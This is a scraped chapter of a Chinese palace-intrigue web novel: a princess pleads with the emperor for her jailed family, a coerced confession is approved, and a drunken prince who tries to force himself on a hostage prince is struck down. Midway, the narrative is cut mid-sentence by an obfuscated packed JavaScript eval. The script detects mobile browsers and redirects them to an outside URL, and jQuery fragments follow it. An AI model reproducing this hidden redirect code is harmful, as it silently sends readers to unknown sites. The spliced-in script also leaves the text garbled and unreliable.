123读书网 > 玄幻小说 > 明月渡我 > 20.第 20 章
    风催雪急,皑皑如霜。


    在这一日,楚桓举办了一场宫宴。


    楚泠应邀前来,宴上寥寥只坐了数人,都是皇室宗亲。


    太后自从楚桓登基以后,除了对姣姣,一向不问世事,是以这场宫宴,女眷只有姣姣和楚泠两人。


    楚泠食不知味,尤其是宴席之上,尉迟延灼热的视线附着在她身上。


    让她几乎有些如坐针毡。


    时不时有宗亲赞叹楚泠与尉迟大将军郎才女貌,堪称天作之合,这些话也是惹得尉迟延神色愉悦,自然,赞叹声更是不绝于耳。


    楚泠不仅要应对来自尉迟延的目光,还有,这些人不知几分真心的祝贺,让她几乎维持不住脸上的笑。


    其实今日,楚泠是可以称病不来的,但是她想前来见楚桓。


    先前前去清和殿,她都是被拒之门外。


    她能做什么呢。


    无非是想求楚桓收回成命。


    尽管知道楚桓不仅不会遂她的愿,可是那是她的外祖,她的舅父,即便希望渺茫,她还是想试一试。


    宫宴在众人的觥筹交错中结束,钧王今日贪杯,被旁边的宗亲多灌了些酒,满脸通红地说着些胡话。


    这时候也谈不上雅观,旁边的宫娥为他递上了醒酒汤。


    楚泠的心思并不在此,只略动了几下筷箸,待到楚桓离席的时候,她才匆匆跟上。


    楚桓近日诸事缠身,看上去神色很是疲惫。


    他才刚刚登基,又常常被人唤作傀儡皇帝,现在坐在这个位置上,恐怕也有些水深火热。


    楚泠走上前,恭顺唤道:“陛下。”


    楚桓揉了揉太阳穴,他不胜酒力,刚刚宴上尉迟延敬酒,他不得不多饮了几口。


    此时看到楚泠,楚桓倒是没有露出不耐的神色,反而反常地抬起唇边。


    “皇姊。”


    楚泠温声道:“先前周公公的事情,陛下节哀。”


    “节哀么?”楚桓笑笑,“周公公屡次三番为难与皇姊,都这样了,皇姊还要假惺惺地前来让朕节哀吗?”


    楚泠愣怔片刻,“臣的确与周公公曾有过节,但是这并不意味着,臣要恨之欲其死。”


    “皇姊,”楚桓的语气嘲弄,“这就是朕与你的不同,朕恨的人,朕就是会让他死的。”


    楚泠的话突然梗在喉间。


    楚桓的话一语双关。


    他是君上,生杀予夺都在他一念之间,他厌恶的人,他当然可以除之而后快。


    就像周岳崇,这个不识好歹的史官。


    她的外祖。


    楚泠眼睫垂动,沉默片刻,她才重新问道:“臣已经按照陛下的旨意,嫁给尉迟延,臣知晓皇命在上,除却谢恩以外不应再有其他所求,但是臣还是想恳请陛下……”


    她的语气很轻,“恳请陛下对周家从轻发落。”


    她的一身血肉与罗衣,都是皇家所赐。


    时至今日,也没有什么能拿得出手的筹码。


    楚桓在慢慢打量着面前的女郎。


    诚然,她长得极美。


    不然也不至于让尉迟延都为她着迷,三番两次地前往钦天监,想要尽快成亲。


    甚至因为怕唐突了她,一直到现在,也没有对她做出过什么失礼的举动。


    可是,她应该知足。


    若不是因为她,周家早就在忤逆他的那一瞬就会被满门抄斩。


    不过现在,也的确出了一点变故。


    楚桓慢慢笑道:“阿姊放心。”


    他的语气莫测,“这件事,朕已经有定夺,周家……朕会从轻发落。”


    楚泠霎时间没有想到,会如此顺利。


    她很想问中间有什么其他的缘故,让楚桓改变主意,可是楚桓却不愿多说,身边的内侍簇拥着他远去。


    今日宫宴举办在午后,天色还早,楚泠在金銮殿前思索许久,准备前去一趟诏狱。


    诏狱位于西六宫附近,她对这段路几近轻车熟路。


    连着数次前来,狱卒也已经熟悉她的脸。


    他身姿站得挺直,长戟拦在门口,“公主殿下。”


    楚泠道:“今日我得见天颜,陛下说会对周家从轻发落,是以,能否让我进去探望?”


    狱卒的回答斩钉截铁:“非陛下口谕,任何人不得进入。”


    倘若楚桓真的消气,那么理应……


    会能容许她探望外祖和舅父。


    可是楚泠此时被拒之门外,只能依稀听到远远传来的凄厉惨叫声。


    狱卒好心提醒楚泠道:“殿下还是早些离开吧,大理寺卿李大人正在审问罪犯,若是到时候有些什么脏东西出来,污了殿下眼睛,可就不好了。”


    楚泠反问:“李大人?”


    狱卒道:“是因为先前周公公的案子,陛下钦点了李大人去督办。”


    这惨叫声,分明来自一个女子。


    这宫中的囫囵事情实在是太多,他这样提审,迟早就屈打成招。


    楚泠的指尖陷入掌心。


    狱卒继续劝慰她道:“相比起来,殿下的外祖舅父在诏狱中,算是过得非常滋润的了,殿下不必担心,早些离去吧。”


    ·


    清和殿中,楚桓翻看着今日的奏折。


    雪灾连绵不断,他已经开放了国库分发赈灾粮,但是国乱不断,国库也已经空虚许久。


    更何况,无论谁前去办这个差事,总归会在手里过一遍油水。


    楚桓烦不胜烦,随手将这些折子全部扔在一旁。


    所幸正在这时,一位内监上前,恭敬地将手上的纸页递给楚桓:“陛下。这是周大人修订后的国史。”


    楚桓接过来。


    昨日周荀求见,他原本没有放在心上,但是周荀却极为认真地说自己可以代替他的父亲进行修改,国史修纂,一向都是周家的人进行,这是开国就一直延续至今的事情,至于这个编订的人是周岳崇还是周荀,却没有这么重要了。


    周荀倒是极为识趣。


    其实也正常,周岳崇那个老骨头已经活腻了,但是周荀却还年轻,听闻连媳妇都还没娶,又怎么会甘心那么轻易地死去呢。


    楚桓一向喜欢识趣的人。


    他仔细研读了一下周荀递上来的史记。


    这上面几乎用尽了华丽的语句来形容楚桓是怎样一个天之骄子,更是大篇幅的骈文,来歌颂楚桓的功绩。


    远比先太子要更为靡靡,鲜花着锦,烈火烹油。


    他的脸上罕见地流露出愉悦的神色。


    他几乎可以想象,后世的人看到这些语句,将会多么崇拜自己这样一位君上。


    他会是郦都建朝以来,最煊赫、最为人敬仰的皇帝。


    没有人会知道他是生长在冷宫里的蜗牛。


    没有人会知道他的过去。


    他光鲜甚于天下的所有人。


    楚桓将纸张仔细收好,又听到殿前有人前来通报道:“陛下,大理寺卿求见。”


    大理寺卿踏着风雪走进。


    他掸了掸身上沾上的雪粒子,然后将一页状纸放在楚桓面前:“陛下,那个女子已经画押了。”


    状纸上清清楚楚写着,这个女子是如何和周作海起了争执,又是如何将他杀害。


    但是这事明眼人都看得出来蹊跷。


    周作海的死状凄惨,远非一个自幼长在宫闱里的宫婢能做到的。


    他在糊弄自己。


    楚桓与面前的人都心知肚明。


    可是这个李大人有尉迟延作保,他有恃无恐。


    楚桓慢慢笑道:“哦?这段时日,李大人真是辛苦了。”


    大理寺卿连忙躬身道:“微臣不敢。”


    楚桓道:“李大人既然找到了真凶,那此案就此做结吧。”


    大理寺卿一时没想到如此轻松,有些愣怔地抬起头。


    楚桓似笑非笑:“李大人是对朕的决断,有什么异议吗?”


    “微臣惶恐,”大理寺卿迟疑,“只是陛下,那名女子,应当如何处置?”


    楚桓语气淡淡:“刑罚之事,李大人随意吧。”


    ·


    钧王今日喝多了些。


    他面色涨红,摇摇晃晃地走在宫道之上。


    他有些跛脚,刚刚在宴席上卖丑,倒是很得楚桓的欢心,又给了他些赏赐。


    现在整个郦都,论辈分,他也是皇室内最高的那位了。


    他与这位新帝有着差不多的过往,大概也是因为这样,楚桓对他也格外宽厚些。


    这段时日,钧王过得也是非常如鱼得水。


    时近傍晚,身边的仆从小心翼翼地搀扶着钧王,钧王的手却慢慢地在仆从的手腕上摩挲着。


    这几乎让仆从有些颤颤巍巍,他浑身上下的鸡皮疙瘩都浮现出来。


    他不敢出声,依然尽心尽力地搀扶着钧王。


    雪天路滑,尽管仆从已经足够小心,还是一个趔趄,让钧王猛地往前栽了下。


    好在及时扶稳,这也让钧王的酒稍微醒了些。


    钧王的目光扫过仆从,仆从噗通一下跪在地上,“殿下饶命!”


    钧王摆了摆手,他的声音带着醉意的哑,“罢了。”


    仆从自是千恩万谢地应了。


    他模糊不清的脑子里,突然想到一个人。


    这样的想法,在他清醒的时候,他是断断不敢的,但是现在,他半醉了。


    醉意滋长了他的胆量,也给他了无限的遐想。


    权势带给他的,是食髓知味。


    宫道漫长狭窄,他慢慢抬步走向远方。


    ·


    破败的小院内寸草不生,宋陵游坐在缺了腿的板凳上面,一只手撑着额角。


    他修长冷白的手慢慢抚摸过放在桌案上的纸页。


    影卫半跪在他面前,许久都没有等到面前的人应声。


    影卫忍不住唤道:“殿下?”


    宋陵游回神,只淡淡道:“容后再议吧。”


    影卫又道:“陇京那边许多事情已经处理得差不多,殿下留在这里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617746|185651||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,不过是受尽折磨,何不早日返回陇京?”


    宋陵游撑着手,慢慢道:“不急。”


    简直已经火烧眉毛了,面前的人却还如此不急不缓。


    陇京的烨王虽然不成气候,但是这一切,终究还是要宋陵游回来。


    他这张与先太子别无二致的脸,会是最好的定心丸。


    这是真龙血脉,没有人会有所置喙。


    影卫犹豫许久,最后还是低低开口道:“殿下恕属下直言,殿下留在这里,是为了昭明公主,是吗?”


    宋陵游没应声。


    影卫将头埋得很低,“属下不该妄自非议殿下的私事,只是属下不明白,既然殿下是为了公主,为什么又要……离开沉香殿?”


    宋陵游语气淡淡:“以退为进,听说过吗?”


    他会伪装得很懂事。


    她应当会喜欢。


    楚泠的婚事定在三月。


    他有听沉香殿的宫女议论过。


    听说,她的未婚夫君生得五大三粗,又年长她许多,还是个鳏夫,后院妻妾成群。


    这样的人,怎么与她般配?


    况且他了解过这个尉迟延。


    性情残虐,嗜杀成性,曾经还在金銮殿上杀人,更是喜好以人为饵狩猎。


    她应当不会喜欢这样的人。


    他想带楚泠一起回长诏。


    但是现在还不行。


    首先要解决的,是她这个未婚夫。


    好在她不喜欢的话,那也不算太棘手。


    影卫没再开口,片刻后,他道:“殿下,有人来了。”


    宋陵游也感觉到了。


    来人步伐虚浮,身高七尺,好像,还有些跛脚。


    让他一瞬间想到了一个人。


    当初长诏来使的时候,目光屡屡在自己身上打量的那个人,几乎说得上是贪婪的人。


    钧王。


    因为他在宫外,宋陵游还没有时间前去挖掉他的眼珠子。


    没想到,今日,他竟然自己送上门来了。


    影卫隐去身形,宋陵游坐在原地,听到吱呀一声,是院落的门被阖上的声音。


    那位钧王,正步履蹒跚着朝着这里走近。


    他的目光灼热,正盯着坐在里屋的宋陵游。


    他身边没有其他人,只有他一个人孤身前来。


    钧王踏进这间屋中,“皇子殿下。”


    宋陵游垂下眼睑,回道:“王爷。”


    钧王似乎是觉得有些惊喜,“你认得我?”


    “上次长诏来使的接风宴中,”宋陵游语气慢吞吞的,“我见过王爷。”


    钧王笑眯眯的,“原是如此。既然这样,那本王也不必再作什么介绍了。你应当省得的,本王是现在郦都中,陛下唯一的亲叔叔,陛下极为重视本王,今日宫宴,也是特地请了本王前来赴宴。”


    宋陵游慢慢挑了下眉。


    钧王吞咽了一下,他凑近道:“你知道吗?本王第一次见到皇子殿下你,就起了呵护之心……”


    宋陵游没应声,钧王把这当成一种默许:“你生得实在是太好看了,比你的兄长长诏太子还要好看,这么漂亮的人,看你在这里受苦,本王也甚是心疼。”


    宋珩居然曾经来过郦都?


    宋陵游唇边的笑顿在原地。


    他原本藏在腕后的刀被他收起,宋陵游不动声色地问道:“我的兄长,曾经来过郦都吗?”


    钧王早就已经被美色冲昏了头脑,他猛地上前,想要搂住这个自己日思夜想的人。


    “跟了我吧,”钧王语气垂涎,“本王会让你过上好日子,赛神仙一样的日子,快活得很,不会再让你在这里受苦的。”


    宋陵游还在垂着眼睑思索。


    他从不知晓,宋珩曾经来过这里。


    楚泠也见过他吗?


    在他思忖的时候,钧王几乎到他面前咫尺之距。


    得不到回应,让这个王爷耐心告罄,他眯着眼睛道:“怎么?你不愿意?”


    宋陵游语气轻描淡写:“你长得比鬼画符还难看,难道,我应该愿意吗?”


    钧王嗬嗬笑了两声。


    他猛地扑上前,恶声恶气地道:“你区区一个质子,难道还容得你拒绝!我告诉你,你早就回不去长诏了,你的堂兄和叔父,早就想把你杀死在这里,我劝你最好识抬举一点,不要不识好歹!”


    钧王靠得越来越近。


    他身上带着漫天的酒气,目光带着势在必得,像是饿狼扑食。


    “你的这个屋子,简陋是简陋了些,但也……别有一番野趣。”


    他的话音刚落,正欲再上前,却突然听到一声巨大的闷响。


    钧王猛地倒下了。


    他趴伏在地上,后脑此时正涌出汩汩的血。


    再无动静。


    宋陵游抬起眼,倏而对上一双皎皎如明月的瞳仁。


    犹如神女般站在漫天的冷清月色下。


    正如她第一次遇到他的那天。


    是楚泠。